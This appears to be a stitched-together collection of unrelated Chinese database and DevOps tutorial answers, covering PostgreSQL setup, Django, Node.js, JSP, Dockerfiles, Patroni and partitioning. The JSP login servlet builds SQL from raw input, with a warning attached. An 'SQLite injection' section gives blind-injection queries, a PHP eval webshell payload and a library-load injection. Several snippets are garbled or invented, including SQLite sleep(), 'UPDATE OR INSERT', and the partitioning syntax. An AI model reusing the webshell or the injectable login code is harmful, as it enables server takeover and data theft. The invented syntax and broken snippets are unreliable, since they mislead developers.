在CentOS 7上安装PostgreSQL并进行相关参数设置的步骤如下：

1. 添加PostgreSQL的Yum仓库：

sudo yum install -y https://download.postgresql.org/pub/repos/yum/reporpms/EL-7-x86_64/pgdg-redhat-repo-latest.noarch.rpm

2. 清除Yum缓存：

sudo yum clean all

3. 安装PostgreSQL：

sudo yum install -y postgresql12-server postgresql12

4. 初始化数据库：

sudo /usr/pgsql-12/bin/postgresql-12-setup initdb

5. 启动PostgreSQL服务：

sudo systemctl enable postgresql-12
sudo systemctl start postgresql-12

6. 设置PostgreSQL的参数，例如最大连接数和内存使用限制。编辑postgresql.conf文件：

sudo vim /var/lib/pgsql/12/data/postgresql.conf

设置max_connections（最大连接数）和shared_buffers（共享缓冲区），例如：

max_connections = 100
shared_buffers = 512MB

7. 编辑pg_hba.conf文件，设置允许的连接类型和用户。

sudo vim /var/lib/pgsql/12/data/pg_hba.conf

添加允许本地连接和远程连接的行，例如：

# TYPE  DATABASE        USER            ADDRESS                 METHOD
local   all             all                                     trust
host    all             all             127.0.0.1/32            trust
host    all             all             ::1/128                 trust
host    all             all             0.0.0.0/0               md5

8. 重启PostgreSQL服务以应用更改：

sudo systemctl restart postgresql-12

以上步骤安装了PostgreSQL 12版本，并进行了基本的配置。根据实际需求，您可能需要调整其他参数，如work_mem、effective_cache_size等。

# 导入Django设置模块
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'mysite.settings')
application = get_wsgi_application()
 
# 导入MySQL数据库连接和操作模块
import MySQLdb
 
# 创建数据库连接
def connect_to_database():
    try:
        # 假设数据库配置信息如下
        db_config = {
            'user': 'myuser',
            'passwd': 'mypassword',
            'host': 'localhost',
            'db': 'mydatabase',
        }
        # 连接数据库
        db = MySQLdb.connect(**db_config)
        return db
    except MySQLdb.Error as e:
        print(f"Error: Unable to connect to MySQL. Error code: {e.args[0]}, Message: {e.args[1]}")
 
# 使用数据库连接执行查询
def execute_query(query):
    db = connect_to_database()
    cursor = db.cursor()
    try:
        cursor.execute(query)
        results = cursor.fetchall()
        return results
    except MySQLdb.Error as e:
        print(f"Error: Query execution failed. Error code: {e.args[0]}, Message: {e.args[1]}")
    finally:
        cursor.close()
        db.close()
 
# 示例查询
query = "SELECT * FROM mytable;"
results = execute_query(query)
for row in results:
    print(row)

这个代码示例展示了如何在Django环境中连接到MySQL数据库并执行一个简单的查询。首先，我们导入了Django的设置模块以获取数据库配置信息。然后，我们使用MySQLdb模块创建了一个数据库连接，并在一个函数中处理了数据库的异常。在execute_query函数中，我们接收一个SQL查询字符串，执行查询并返回结果。最后，我们提供了一个查询示例，展示了如何使用这个函数来获取数据库中的记录。

// 引入Node.js内置的SQLite模块
const sqlite3 = require('sqlite3').verbose();
 
// 创建或打开数据库
let db = new sqlite3.Database('./database.sqlite3', (err) => {
  if (err) {
    console.error(err.message);
  } else {
    console.log('Connected to the SQLite database.');
  }
});
 
// 创建表
db.run(`
  CREATE TABLE IF NOT EXISTS articles (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    title TEXT NOT NULL,
    body TEXT,
    created_at DATE DEFAULT (datetime('now', 'localtime'))
  )
`, (err) => {
  if (err) {
    console.error(err.message);
  } else {
    console.log('Table created successfully.');
  }
});
 
// 插入数据
const insertArticle = db.prepare(`
  INSERT INTO articles (title, body) VALUES (?, ?)
`);
const article = { title: 'Node.js with SQLite', body: 'This is an example article.' };
insertArticle.run(article.title, article.body, (err) => {
  if (err) {
    console.error(err.message);
  } else {
    console.log('A row has been inserted.');
  }
});
 
// 查询数据
db.all('SELECT id, title, body FROM articles', (err, rows) => {
  if (err) {
    console.error(err.message);
  } else {
    rows.forEach((row) => {
      console.log(row);
    });
  }
});
 
// 关闭数据库连接
db.close((err) => {
  if (err) {
    console.error(err.message);
  } else {
    console.log('Close the database connection.');
  }
});

这段代码展示了如何在Node.js环境中使用SQLite3模块进行数据库操作，包括创建或打开数据库、创建表、插入数据、查询数据以及关闭数据库连接。这是学习如何在Node.js中使用SQLite进行数据库开发的一个很好的起点。

项目名称：sqleet

项目描述：

sqleet 是一个提供轻量级 SQLite3 透明加密解决方案的 Python 库。它允许开发者创建加密的数据库文件，这些文件在使用时会透明地进行解密和加密操作，从而确保数据的安全性。

安装方法：

pip install sqleet

使用示例：

import sqlite3
from sqleet import SQleet
 
# 创建一个加密的数据库
conn = sqlite3.connect('example.db', uri=True)
 
# 使用 SQleet 创建加密的数据库
conn = SQleet('example_encrypted.db')
cursor = conn.cursor()
 
# 创建表
cursor.execute('CREATE TABLE test (id INTEGER PRIMARY KEY, value TEXT)')
 
# 插入数据
cursor.execute('INSERT INTO test (value) VALUES (?)', ('hello',))
 
# 查询数据
cursor.execute('SELECT * FROM test')
print(cursor.fetchall())
 
# 提交更改并关闭连接
conn.commit()
conn.close()

在这个示例中，我们创建了一个名为 example_encrypted.db 的加密数据库，并在其中执行了常规的 SQL 操作，包括创建表、插入数据和查询数据。数据在存储时被加密，从而保护数据的安全性。

由于完整的JSP+Servlet图书商城管理系统代码量较大，我将提供一个核心功能的示例，例如用户登录功能。

// LoginServlet.java
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import java.sql.*;
 
public class LoginServlet extends HttpServlet {
    public void doPost(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException {
        
        String username = request.getParameter("username");
        String password = request.getParameter("password");
        
        try {
            Class.forName("com.mysql.cj.jdbc.Driver");
            String url = "jdbc:mysql://localhost:3306/bookstore?serverTimezone=UTC";
            Connection con = DriverManager.getConnection(url, "root", "password");
            Statement stmt = con.createStatement();
            
            String sql = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'";
            ResultSet rs = stmt.executeQuery(sql);
            
            if (rs.next()) {
                HttpSession session = request.getSession();
                session.setAttribute("username", username);
                response.sendRedirect("home.jsp");
            } else {
                response.sendRedirect("login.jsp?error=1");
            }
            
            con.close();
            
        } catch (Exception e) {
            e.printStackTrace();
            response.sendRedirect("login.jsp?error=1");
        }
    }
}

在这个例子中，我们创建了一个名为LoginServlet的servlet，用于处理用户登录请求。它连接到MySQL数据库，检查用户名和密码是否匹配，并根据结果设置会话属性或重定向到登录页面。

注意：

1. 在实际应用中，不要硬编码数据库密码，应该从配置文件或环境变量中读取。
2. 永远不要直接在代码中拼接SQL语句，这会使系统容易受到SQL注入攻击，应使用预编译的语句或使用参数化查询。
3. 使用PostgreSQL或其他数据库时，JDBC驱动和连接URL会有所不同。
4. 在实际应用中，密码应该加密存储，并在验证时进行加密匹配。

这只是一个简化示例，实际的商城管理系统会涉及更多功能和细节。

以下是构建SSHD、HTTPD、NGINX、TOMCAT、MYSQL、LNMP和REDIS的Dockerfile示例。请注意，为了简洁和清晰，这里只提供了每个服务的基础镜像构建示例。

SSHD:

FROM ubuntu:latest
RUN apt-get update && apt-get install -y openssh-server
RUN mkdir /var/run/sshd
RUN echo 'root:yourpassword' | chpasswd
RUN sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config
EXPOSE 22
CMD ["/usr/sbin/sshd", "-D"]

HTTPD:

FROM centos:latest
RUN yum install -y httpd
RUN echo "Hello World" > /var/www/html/index.html
EXPOSE 80
CMD ["httpd", "-DFOREGROUND"]

NGINX:

FROM nginx:latest
EXPOSE 80
CMD ["nginx", "-g", "daemon off;"]

TOMCAT:

FROM tomcat:latest
EXPOSE 8080

MYSQL:

FROM mysql:latest
ENV MYSQL_ROOT_PASSWORD yourpassword
EXPOSE 3306

LNMP (NGINX, MySQL, PHP):

FROM ubuntu:latest
RUN apt-get update && apt-get install -y nginx mysql-server php-fpm
RUN service mysql start
RUN echo "\n\
server {\n\
    listen 80;\n\
    root /var/www/html;\n\
    index index.php index.html index.htm;\n\
    location ~ \\.php$ {\n\
        fastcgi_pass php-upstream;\n\
        fastcgi_index index.php;\n\
        include fastcgi_params;\n\
    }\n\
}\n\
" > /etc/nginx/sites-available/default
RUN echo "\ndaemon off;" >> /etc/nginx/nginx.conf
RUN echo "\nphp-upstream" >> /etc/nginx/conf.d/default.conf
EXPOSE 80 3306
CMD service php-fpm start && service nginx start

REDIS:

FROM redis:latest
EXPOSE 6379
CMD ["redis-server"]

请注意，为了安全性，您应该更改所有示例中的密码（例如，yourpassword），并且在生产环境中应该设置更复杂的配置和安全措施。

以下是使用PostgreSQL, etcd, Patroni和Python搭建高可用数据库环境的基本步骤：

1. 安装PostgreSQL和etcd。
2. 安装Python的patroni库。
3. 配置Patroni的配置文件。
4. 启动etcd集群。
5. 启动Patroni。
6. 编写监控脚本。

以下是一个简化的Python脚本示例，用于监控Patroni实例的健康状态：

import requests
import time
 
def check_patroni_health(patroni_url):
    try:
        response = requests.get(f"{patroni_url}/health")
        response.raise_for_status()
        health = response.json()
        return health['healthy']
    except Exception as e:
        print(f"Error checking Patroni health: {e}")
        return False
 
def main():
    patroni_url = "http://localhost:8008"  # 替换为你的Patroni URL
    while True:
        if not check_patroni_health(patroni_url):
            # 这里可以添加处理不健康状态的逻辑，例如发送警告邮件或者短信
            print("Patroni instance is not healthy.")
        else:
            print("Patroni instance is healthy.")
        time.sleep(10)  # 每10秒检查一次
 
if __name__ == "__main__":
    main()

确保在运行此脚本之前已经安装了requests库。如果没有安装，可以使用以下命令安装：

pip install requests

这个脚本会每10秒检查一次Patroni实例的健康状态，并打印出相应的信息。如果Patroni实例不健康，你可以在这里添加更多的处理逻辑，比如发送警告邮件或短信。

获取sqlite3.h、sqlite3.dll 和生成 sqlite3.lib 的方法如下：

1. 下载SQLite源代码：

   访问SQLite官方网站（https://www.sqlite.org/download.html）下载最新的源代码压缩包。

2. 编译SQLite库：

   解压下载的源代码压缩包，打开命令行工具（例如CMD或PowerShell），切换到源代码所在目录，运行以下命令编译SQLite：

   
   
   
   nmake -f sqlite3.mk

   这将会生成 sqlite3.dll 和 sqlite3.lib。

3. 获取sqlite3.h：

   头文件sqlite3.h通常在源代码包中已经提供，位于sqlite-amalgamation目录下。

请注意，这些命令是基于Windows平台使用nmake构建的。如果你使用的是其他平台或构建系统，请根据相应的环境进行操作。

SQLite注入是一种攻击技术，它试图通过向SQLite数据库提交恶意SQL代码来改变或访问数据。以下是一些常见的SQLite注入攻击方法：

1. 现在最全、核心函数的用法：

-- 创建一个新表
CREATE TABLE users (id INTEGER PRIMARY KEY, username TEXT, password TEXT);
 
-- 插入新记录
INSERT INTO users (username, password) VALUES ('admin', 'admin');
 
-- 查询记录
SELECT * FROM users WHERE username = 'admin';
 
-- 更新记录
UPDATE users SET password = 'new_password' WHERE username = 'admin';
 
-- 删除记录
DELETE FROM users WHERE username = 'admin';

2. 布尔盲注：

-- 通过条件判断查询是否存在
SELECT CASE WHEN (SELECT COUNT(*) FROM sqlite_master) > 0 THEN '1' ELSE '0' END

3. 时间盲注：

-- 通过CASE语句和sleep()函数进行时间盲注
SELECT CASE WHEN (SELECT COUNT(*) FROM sqlite_master) > 0 THEN sleep(10) ELSE '0' END

4. Webshell：

-- 通过更新记录插入webshell
UPDATE OR INSERT INTO users (username, password) VALUES ('webshell', '<?php @eval($_POST[cmd]); ?>');

5. 动态库注入：

-- 加载并执行外部动态库
.load '/path/to/library.so'

注意：

• 上述代码只是示例，不同的数据库版本和配置可能会影响这些攻击的有效性。
• 在实际环境中，应该采取措施避免SQL注入，如使用参数化查询、预编译语句等。

在PostgreSQL中创建分区表需要使用继承（也称为表继承）或者使用分区键和pg\_partman扩展。以下是使用继承创建分区表的例子：

-- 创建一个基础表，它将作为所有分区的模板
CREATE TABLE measurement (
    city_id         int not null,
    logdate         date not null,
    peaktemp        int,
    unitsales       int
) DISTRIBUTED BY (city_id);
 
-- 创建分区表，继承自基础表
CREATE TABLE measurement_y2020m01 DERIVES (city_id) FROM measurement FOR VALUES IN ('2020-01-01');
CREATE TABLE measurement_y2020m02 DERIVES (city_id) FROM measurement FOR VALUES IN ('2020-02-01');
-- 以此类推，为每个月创建一个分区表
 
-- 插入数据时，PostgreSQL会自动将数据插入到正确的分区表中
INSERT INTO measurement (city_id, logdate, peaktemp, unitsales) VALUES (1, '2020-01-15', 22, 100);

使用pg\_partman扩展进行分区：

-- 安装pg_partman扩展
CREATE EXTENSION pg_partman;
 
-- 创建一个使用范围分区键的表
CREATE TABLE measurement (
    city_id         int not null,
    logdate         date not null,
    peaktemp        int,
    unitsales       int
) PARTITION BY RANGE (logdate);
 
-- 创建分区
CREATE PARTITION FOR SUBRANGE (logdate FROM '2020-01-01' TO '2020-01-31');
CREATE PARTITION FOR SUBRANGE (logdate FROM '2020-02-01' TO '2020-02-28');
-- 以此类推，为每个月创建一个分区
 
-- 插入数据时，PostgreSQL会自动将数据插入到正确的分区中
INSERT INTO measurement (city_id, logdate, peaktemp, unitsales) VALUES (1, '2020-01-15', 22, 100);

在实际应用中，你可能需要根据具体的分区策略选择使用继承还是pg\_partman扩展，并且定期维护分区表（比如清理旧的分区数据）。